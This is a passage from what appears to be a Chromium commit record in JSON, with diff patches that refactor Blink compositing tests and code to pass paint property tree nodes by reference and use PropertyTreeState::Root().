artifact.Chunk(t0(), *clip1, *effect1)\n .RectDrawing(FloatRect(100, 100, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -3160,20 +2861,15 @@ TEST_F(PaintArtifactCompositorTest, DecompositeEffectWithNoOutputClip) {\n TEST_F(PaintArtifactCompositorTest, CompositedEffectWithNoOutputClip) {\n // This test verifies effect nodes with no output clip but has compositing\n // reason correctly squash children chunks and assign clip node.\n- auto clip1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(75, 75, 100, 100));\n+ auto clip1 = CreateClip(c0(), &t0(), FloatRoundedRect(75, 75, 100, 100));\n \n- auto effect1 = CreateOpacityEffect(EffectPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- nullptr, 0.5, CompositingReason::kAll);\n+ auto effect1 =\n+ CreateOpacityEffect(e0(), &t0(), nullptr, 0.5, CompositingReason::kAll);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect1.get())\n+ artifact.Chunk(t0(), c0(), *effect1)\n .RectDrawing(FloatRect(50, 50, 100, 100), Color::kGray);\n- artifact.Chunk(TransformPaintPropertyNode::Root(), clip1.get(), effect1.get())\n+ artifact.Chunk(t0(), *clip1, *effect1)\n .RectDrawing(FloatRect(100, 100, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -3187,13 +2883,9 @@ TEST_F(PaintArtifactCompositorTest, CompositedEffectWithNoOutputClip) {\n \n TEST_F(PaintArtifactCompositorTest, LayerRasterInvalidationWithClip) {\n // The layer's painting is initially not clipped.\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 20, 300, 400));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 20, 300, 400));\n TestPaintArtifact artifact1;\n- artifact1\n- .Chunk(TransformPaintPropertyNode::Root(), clip,\n- EffectPaintPropertyNode::Root())\n+ artifact1.Chunk(t0(), *clip, e0())\n .RectDrawing(FloatRect(50, 50, 200, 200), Color::kBlack);\n Update(artifact1.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -3207,9 +2899,7 @@ TEST_F(PaintArtifactCompositorTest, LayerRasterInvalidationWithClip) {\n \n // The layer's painting overflows the left, top, right edges of the clip .\n TestPaintArtifact artifact2;\n- artifact2\n- .Chunk(artifact1.Client(0), TransformPaintPropertyNode::Root(), clip,\n- EffectPaintPropertyNode::Root())\n+ artifact2.Chunk(artifact1.Client(0), t0(), *clip, e0())\n .RectDrawing(artifact1.Client(1), FloatRect(0, 0, 400, 200),\n Color::kBlack);\n layer->ResetNeedsDisplayForTesting();\n@@ -3227,9 +2917,7 @@ TEST_F(PaintArtifactCompositorTest, LayerRasterInvalidationWithClip) {\n \n // The layer's painting overflows all edges of the clip.\n TestPaintArtifact artifact3;\n- artifact3\n- .Chunk(artifact1.Client(0), TransformPaintPropertyNode::Root(), clip,\n- EffectPaintPropertyNode::Root())\n+ artifact3.Chunk(artifact1.Client(0), t0(), *clip, e0())\n .RectDrawing(artifact1.Client(1), FloatRect(-100, -200, 500, 800),\n Color::kBlack);\n layer->ResetNeedsDisplayForTesting();"}<_**next**_>{"sha": "10b7226bc9cf61a99e99d32285f4b8c87dac2fb9", "filename": "third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -653,7 +653,7 @@ void ConversionContext::Convert(const PaintChunkSubset& paint_chunks,\n // \"draw\" this record in order to ensure that the effect has correct\n // visual rects.\n if ((!record || record->size() == 0) &&\n- chunk_state.Effect() == EffectPaintPropertyNode::Root()) {\n+ chunk_state.Effect() == &EffectPaintPropertyNode::Root()) {\n continue;\n }\n "}<_**next**_>{"sha": "ddbe6519f2a7f341102f5aeaa3a478eb2298f10c", "filename": "third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer_test.cc", "status": "modified", "additions": 142, "deletions": 152, "changes": 294, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/paint_chunks_to_cc_layer_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -147,17 +147,6 @@ class PaintRecordMatcher\n EXPECT_EQ(SkRRect(r), clip_op->rrect); \\\n } while (false)\n \n-// Convenient shorthands.\n-const TransformPaintPropertyNode* t0() {\n- return TransformPaintPropertyNode::Root();\n-}\n-const ClipPaintPropertyNode* c0() {\n- return ClipPaintPropertyNode::Root();\n-}\n-const EffectPaintPropertyNode* e0() {\n- return EffectPaintPropertyNode::Root();\n-}\n-\n PaintChunk::Id DefaultId() {\n DEFINE_STATIC_LOCAL(FakeDisplayItemClient, fake_client,\n (\"FakeDisplayItemClient\", LayoutRect(0, 0, 100, 100)));\n@@ -169,9 +158,9 @@ struct TestChunks {\n DisplayItemList items = DisplayItemList(0);\n \n // Add a paint chunk with a non-empty paint record and given property nodes.\n- void AddChunk(const TransformPaintPropertyNode* t,\n- const ClipPaintPropertyNode* c,\n- const EffectPaintPropertyNode* e,\n+ void AddChunk(const TransformPaintPropertyNode& t,\n+ const ClipPaintPropertyNode& c,\n+ const EffectPaintPropertyNode& e,\n const FloatRect& bounds = FloatRect(0, 0, 100, 100)) {\n auto record = sk_make_sp<PaintRecord>();\n record->push<cc::DrawRectOp>(bounds, cc::PaintFlags());\n@@ -180,14 +169,14 @@ struct TestChunks {\n \n // Add a paint chunk with a given paint record and property nodes.\n void AddChunk(sk_sp<PaintRecord> record,\n- const TransformPaintPropertyNode* t,\n- const ClipPaintPropertyNode* c,\n- const EffectPaintPropertyNode* e,\n+ const TransformPaintPropertyNode& t,\n+ const ClipPaintPropertyNode& c,\n+ const EffectPaintPropertyNode& e,\n const FloatRect& bounds = FloatRect(0, 0, 100, 100)) {\n size_t i = items.size();\n items.AllocateAndConstruct<DrawingDisplayItem>(\n DefaultId().client, DefaultId().type, std::move(record));\n- chunks.emplace_back(i, i + 1, DefaultId(), PropertyTreeState(t, c, e));\n+ chunks.emplace_back(i, i + 1, DefaultId(), PropertyTreeState(&t, &c, &e));\n chunks.back().bounds = bounds;\n }\n };\n@@ -196,12 +185,12 @@ TEST_F(PaintChunksToCcLayerTest, EffectGroupingSimple) {\n // This test verifies effects are applied as a group.\n auto e1 = CreateOpacityEffect(e0(), 0.5f);\n TestChunks chunks;\n- chunks.AddChunk(t0(), c0(), e1.get(), FloatRect(0, 0, 50, 50));\n- chunks.AddChunk(t0(), c0(), e1.get(), FloatRect(20, 20, 70, 70));\n+ chunks.AddChunk(t0(), c0(), *e1, FloatRect(0, 0, 50, 50));\n+ chunks.AddChunk(t0(), c0(), *e1, FloatRect(20, 20, 70, 70));\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(\n@@ -216,15 +205,15 @@ TEST_F(PaintChunksToCcLayerTest, EffectGroupingSimple) {\n TEST_F(PaintChunksToCcLayerTest, EffectGroupingNested) {\n // This test verifies nested effects are grouped properly.\n auto e1 = CreateOpacityEffect(e0(), 0.5f);\n- auto e2 = CreateOpacityEffect(e1, 0.5f);\n- auto e3 = CreateOpacityEffect(e1, 0.5f);\n+ auto e2 = CreateOpacityEffect(*e1, 0.5f);\n+ auto e3 = CreateOpacityEffect(*e1, 0.5f);\n TestChunks chunks;\n- chunks.AddChunk(t0(), c0(), e2.get());\n- chunks.AddChunk(t0(), c0(), e3.get(), FloatRect(111, 222, 333, 444));\n+ chunks.AddChunk(t0(), c0(), *e2);\n+ chunks.AddChunk(t0(), c0(), *e3, FloatRect(111, 222, 333, 444));\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(\n@@ -245,19 +234,19 @@ TEST_F(PaintChunksToCcLayerTest, EffectGroupingNested) {\n TEST_F(PaintChunksToCcLayerTest, EffectFilterGroupingNestedWithTransforms) {\n // This test verifies nested effects with transforms are grouped properly.\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto t2 = CreateTransform(t1, TransformationMatrix().Translate(-50, -50));\n- auto e1 = CreateOpacityEffect(e0(), t2, c0(), 0.5);\n+ auto t2 = CreateTransform(*t1, TransformationMatrix().Translate(-50, -50));\n+ auto e1 = CreateOpacityEffect(e0(), t2.get(), &c0(), 0.5);\n \n CompositorFilterOperations filter;\n filter.AppendBlurFilter(5);\n- auto e2 = CreateFilterEffect(e1, filter, FloatPoint(60, 60));\n+ auto e2 = CreateFilterEffect(*e1, filter, FloatPoint(60, 60));\n TestChunks chunks;\n- chunks.AddChunk(t2.get(), c0(), e1.get(), FloatRect(0, 0, 50, 50));\n- chunks.AddChunk(t1.get(), c0(), e2.get(), FloatRect(20, 20, 70, 70));\n+ chunks.AddChunk(*t2, c0(), *e1, FloatRect(0, 0, 50, 50));\n+ chunks.AddChunk(*t1, c0(), *e2, FloatRect(20, 20, 70, 70));\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(\n@@ -295,22 +284,22 @@ TEST_F(PaintChunksToCcLayerTest, InterleavedClipEffect) {\n // ConversionContext.\n // Refer to PaintChunksToCcLayer.cpp for detailed explanation.\n // (Search \"State management example\".)\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c2 = CreateClip(c1, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c3 = CreateClip(c2, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c4 = CreateClip(c3, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto e1 = CreateOpacityEffect(e0(), t0(), c2, 0.5);\n- auto e2 = CreateOpacityEffect(e1, t0(), c4, 0.5);\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c2 = CreateClip(*c1, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c3 = CreateClip(*c2, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c4 = CreateClip(*c3, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto e1 = CreateOpacityEffect(e0(), &t0(), c2.get(), 0.5);\n+ auto e2 = CreateOpacityEffect(*e1, &t0(), c4.get(), 0.5);\n TestChunks chunks;\n- chunks.AddChunk(t0(), c2.get(), e0());\n- chunks.AddChunk(t0(), c3.get(), e0());\n- chunks.AddChunk(t0(), c4.get(), e2.get(), FloatRect(0, 0, 50, 50));\n- chunks.AddChunk(t0(), c3.get(), e1.get(), FloatRect(20, 20, 70, 70));\n- chunks.AddChunk(t0(), c4.get(), e0());\n+ chunks.AddChunk(t0(), *c2, e0());\n+ chunks.AddChunk(t0(), *c3, e0());\n+ chunks.AddChunk(t0(), *c4, *e2, FloatRect(0, 0, 50, 50));\n+ chunks.AddChunk(t0(), *c3, *e1, FloatRect(20, 20, 70, 70));\n+ chunks.AddChunk(t0(), *c4, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(*output, PaintRecordMatcher::Make(\n@@ -349,13 +338,13 @@ TEST_F(PaintChunksToCcLayerTest, ClipSpaceInversion) {\n // <div style=\"position:fixed;\">Clipped but not scroll along.</div>\n // </div>\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto c1 = CreateClip(c0(), t1, FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), t1.get(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e0());\n+ chunks.AddChunk(t0(), *c1, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(*output,\n@@ -377,14 +366,14 @@ TEST_F(PaintChunksToCcLayerTest, OpacityEffectSpaceInversion) {\n // </div>\n // </div>\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto e1 = CreateOpacityEffect(e0(), t1, c0(), 0.5);\n+ auto e1 = CreateOpacityEffect(e0(), t1.get(), &c0(), 0.5);\n TestChunks chunks;\n- chunks.AddChunk(t0(), c0(), e1.get());\n- chunks.AddChunk(t1.get(), c0(), e1.get());\n+ chunks.AddChunk(t0(), c0(), *e1);\n+ chunks.AddChunk(*t1, c0(), *e1);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(*output,\n@@ -413,13 +402,14 @@ TEST_F(PaintChunksToCcLayerTest, FilterEffectSpaceInversion) {\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n CompositorFilterOperations filter;\n filter.AppendBlurFilter(5);\n- auto e1 = CreateFilterEffect(e0(), t1, c0(), filter, FloatPoint(66, 88));\n+ auto e1 =\n+ CreateFilterEffect(e0(), t1.get(), &c0(), filter, FloatPoint(66, 88));\n TestChunks chunks;\n- chunks.AddChunk(t0(), c0(), e1.get());\n+ chunks.AddChunk(t0(), c0(), *e1);\n \n auto output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(\n@@ -446,10 +436,10 @@ TEST_F(PaintChunksToCcLayerTest, NonRootLayerSimple) {\n // This test verifies a layer with composited property state does not\n // apply properties again internally.\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n auto e1 = CreateOpacityEffect(e0(), 0.5f);\n TestChunks chunks;\n- chunks.AddChunk(t1.get(), c1.get(), e1.get());\n+ chunks.AddChunk(*t1, *c1, *e1);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n@@ -464,10 +454,10 @@ TEST_F(PaintChunksToCcLayerTest, NonRootLayerTransformEscape) {\n // This test verifies chunks that have a shallower transform state than the\n // layer can still be painted.\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n auto e1 = CreateOpacityEffect(e0(), 0.5f);\n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e1.get());\n+ chunks.AddChunk(t0(), *c1, *e1);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n@@ -484,16 +474,16 @@ TEST_F(PaintChunksToCcLayerTest, NonRootLayerTransformEscape) {\n \n TEST_F(PaintChunksToCcLayerTest, EffectWithNoOutputClip) {\n // This test verifies effect with no output clip can be correctly processed.\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c2 = CreateClip(c1, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto e1 = CreateOpacityEffect(e0(), t0(), nullptr, 0.5);\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c2 = CreateClip(*c1, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto e1 = CreateOpacityEffect(e0(), &t0(), nullptr, 0.5);\n \n TestChunks chunks;\n- chunks.AddChunk(t0(), c2.get(), e1.get());\n+ chunks.AddChunk(t0(), *c2, *e1);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c1.get(), e0()),\n+ chunks.chunks, PropertyTreeState(&t0(), c1.get(), &e0()),\n gfx::Vector2dF(), chunks.items,\n cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n@@ -510,16 +500,16 @@ TEST_F(PaintChunksToCcLayerTest, EffectWithNoOutputClip) {\n \n TEST_F(PaintChunksToCcLayerTest,\n EffectWithNoOutputClipNestedInDecompositedEffect) {\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n auto e1 = CreateOpacityEffect(e0(), 0.5);\n- auto e2 = CreateOpacityEffect(e1, t0(), nullptr, 0.5);\n+ auto e2 = CreateOpacityEffect(*e1, &t0(), nullptr, 0.5);\n \n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e2.get());\n+ chunks.AddChunk(t0(), *c1, *e2);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n EXPECT_THAT(\n@@ -538,16 +528,16 @@ TEST_F(PaintChunksToCcLayerTest,\n \n TEST_F(PaintChunksToCcLayerTest,\n EffectWithNoOutputClipNestedInCompositedEffect) {\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n auto e1 = CreateOpacityEffect(e0(), 0.5);\n- auto e2 = CreateOpacityEffect(e1, t0(), nullptr, 0.5);\n+ auto e2 = CreateOpacityEffect(*e1, &t0(), nullptr, 0.5);\n \n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e2.get());\n+ chunks.AddChunk(t0(), *c1, *e2);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e1.get()),\n+ chunks.chunks, PropertyTreeState(&t0(), &c0(), e1.get()),\n gfx::Vector2dF(), chunks.items,\n cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n@@ -564,16 +554,16 @@ TEST_F(PaintChunksToCcLayerTest,\n \n TEST_F(PaintChunksToCcLayerTest,\n EffectWithNoOutputClipNestedInCompositedEffectAndClip) {\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n auto e1 = CreateOpacityEffect(e0(), 0.5);\n- auto e2 = CreateOpacityEffect(e1, t0(), nullptr, 0.5);\n+ auto e2 = CreateOpacityEffect(*e1, &t0(), nullptr, 0.5);\n \n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e2.get());\n+ chunks.AddChunk(t0(), *c1, *e2);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c1.get(), e1.get()),\n+ chunks.chunks, PropertyTreeState(&t0(), c1.get(), e1.get()),\n gfx::Vector2dF(), chunks.items,\n cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n@@ -589,15 +579,15 @@ TEST_F(PaintChunksToCcLayerTest, VisualRect) {\n auto layer_transform =\n CreateTransform(t0(), TransformationMatrix().Scale(20));\n auto chunk_transform = CreateTransform(\n- layer_transform, TransformationMatrix().Translate(50, 100));\n+ *layer_transform, TransformationMatrix().Translate(50, 100));\n \n TestChunks chunks;\n- chunks.AddChunk(chunk_transform.get(), c0(), e0());\n+ chunks.AddChunk(*chunk_transform, c0(), e0());\n \n auto cc_list = base::MakeRefCounted<cc::DisplayItemList>(\n cc::DisplayItemList::kTopLevelDisplayItemList);\n PaintChunksToCcLayer::ConvertInto(\n- chunks.chunks, PropertyTreeState(layer_transform.get(), c0(), e0()),\n+ chunks.chunks, PropertyTreeState(layer_transform.get(), &c0(), &e0()),\n gfx::Vector2dF(100, 200), FloatSize(), chunks.items, *cc_list);\n EXPECT_EQ(gfx::Rect(-50, -100, 100, 100), cc_list->VisualRectForTesting(4));\n \n@@ -613,15 +603,15 @@ TEST_F(PaintChunksToCcLayerTest, VisualRect) {\n }\n \n TEST_F(PaintChunksToCcLayerTest, NoncompositedClipPath) {\n- auto c1 = CreateClipPathClip(c0(), t0(), FloatRoundedRect(1, 2, 3, 4));\n+ auto c1 = CreateClipPathClip(c0(), &t0(), FloatRoundedRect(1, 2, 3, 4));\n TestChunks chunks;\n- chunks.AddChunk(t0(), c1.get(), e0());\n+ chunks.AddChunk(t0(), *c1, e0());\n \n auto cc_list = base::MakeRefCounted<cc::DisplayItemList>(\n cc::DisplayItemList::kTopLevelDisplayItemList);\n- PaintChunksToCcLayer::ConvertInto(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n- FloatSize(), chunks.items, *cc_list);\n+ PaintChunksToCcLayer::ConvertInto(chunks.chunks, PropertyTreeState::Root(),\n+ gfx::Vector2dF(), FloatSize(), chunks.items,\n+ *cc_list);\n \n EXPECT_THAT(\n *cc_list->ReleaseAsRecord(),\n@@ -633,22 +623,22 @@ TEST_F(PaintChunksToCcLayerTest, NoncompositedClipPath) {\n }\n \n TEST_F(PaintChunksToCcLayerTest, EmptyClipsAreElided) {\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c1c2 = CreateClip(c1, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c2 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1c2 = CreateClip(*c1, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c2 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n \n TestChunks chunks;\n- chunks.AddChunk(nullptr, t0(), c1.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1c2.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1c2.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1c2.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1.get(), e0());\n+ chunks.AddChunk(nullptr, t0(), *c1, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1c2, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1c2, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1c2, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1, e0());\n // D1\n- chunks.AddChunk(t0(), c2.get(), e0());\n+ chunks.AddChunk(t0(), *c2, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -662,23 +652,23 @@ TEST_F(PaintChunksToCcLayerTest, EmptyClipsAreElided) {\n }\n \n TEST_F(PaintChunksToCcLayerTest, NonEmptyClipsAreStored) {\n- auto c1 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c1c2 = CreateClip(c1, t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n- auto c2 = CreateClip(c0(), t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c1c2 = CreateClip(*c1, &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n+ auto c2 = CreateClip(c0(), &t0(), FloatRoundedRect(0.f, 0.f, 1.f, 1.f));\n \n TestChunks chunks;\n- chunks.AddChunk(nullptr, t0(), c1.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1c2.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1c2.get(), e0());\n+ chunks.AddChunk(nullptr, t0(), *c1, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1c2, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1c2, e0());\n // D1\n- chunks.AddChunk(t0(), c1c2.get(), e0());\n- chunks.AddChunk(nullptr, t0(), c1.get(), e0());\n+ chunks.AddChunk(t0(), *c1c2, e0());\n+ chunks.AddChunk(nullptr, t0(), *c1, e0());\n // D2\n- chunks.AddChunk(t0(), c2.get(), e0());\n+ chunks.AddChunk(t0(), *c2, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -698,11 +688,11 @@ TEST_F(PaintChunksToCcLayerTest, EmptyEffectsAreStored) {\n \n TestChunks chunks;\n chunks.AddChunk(nullptr, t0(), c0(), e0());\n- chunks.AddChunk(nullptr, t0(), c0(), e1.get());\n+ chunks.AddChunk(nullptr, t0(), c0(), *e1);\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -716,20 +706,20 @@ TEST_F(PaintChunksToCcLayerTest, EmptyEffectsAreStored) {\n TEST_F(PaintChunksToCcLayerTest, CombineClips) {\n FloatRoundedRect clip_rect(0, 0, 100, 100);\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto c1 = CreateClip(c0(), t0(), clip_rect);\n- auto c2 = CreateClip(c1, t0(), clip_rect);\n- auto c3 = CreateClip(c2, t1, clip_rect);\n- auto c4 = CreateClip(c3, t1, clip_rect);\n- auto c5 = CreateClipPathClip(c4, t1, clip_rect);\n- auto c6 = CreateClip(c5, t1, clip_rect);\n+ auto c1 = CreateClip(c0(), &t0(), clip_rect);\n+ auto c2 = CreateClip(*c1, &t0(), clip_rect);\n+ auto c3 = CreateClip(*c2, t1.get(), clip_rect);\n+ auto c4 = CreateClip(*c3, t1.get(), clip_rect);\n+ auto c5 = CreateClipPathClip(*c4, t1.get(), clip_rect);\n+ auto c6 = 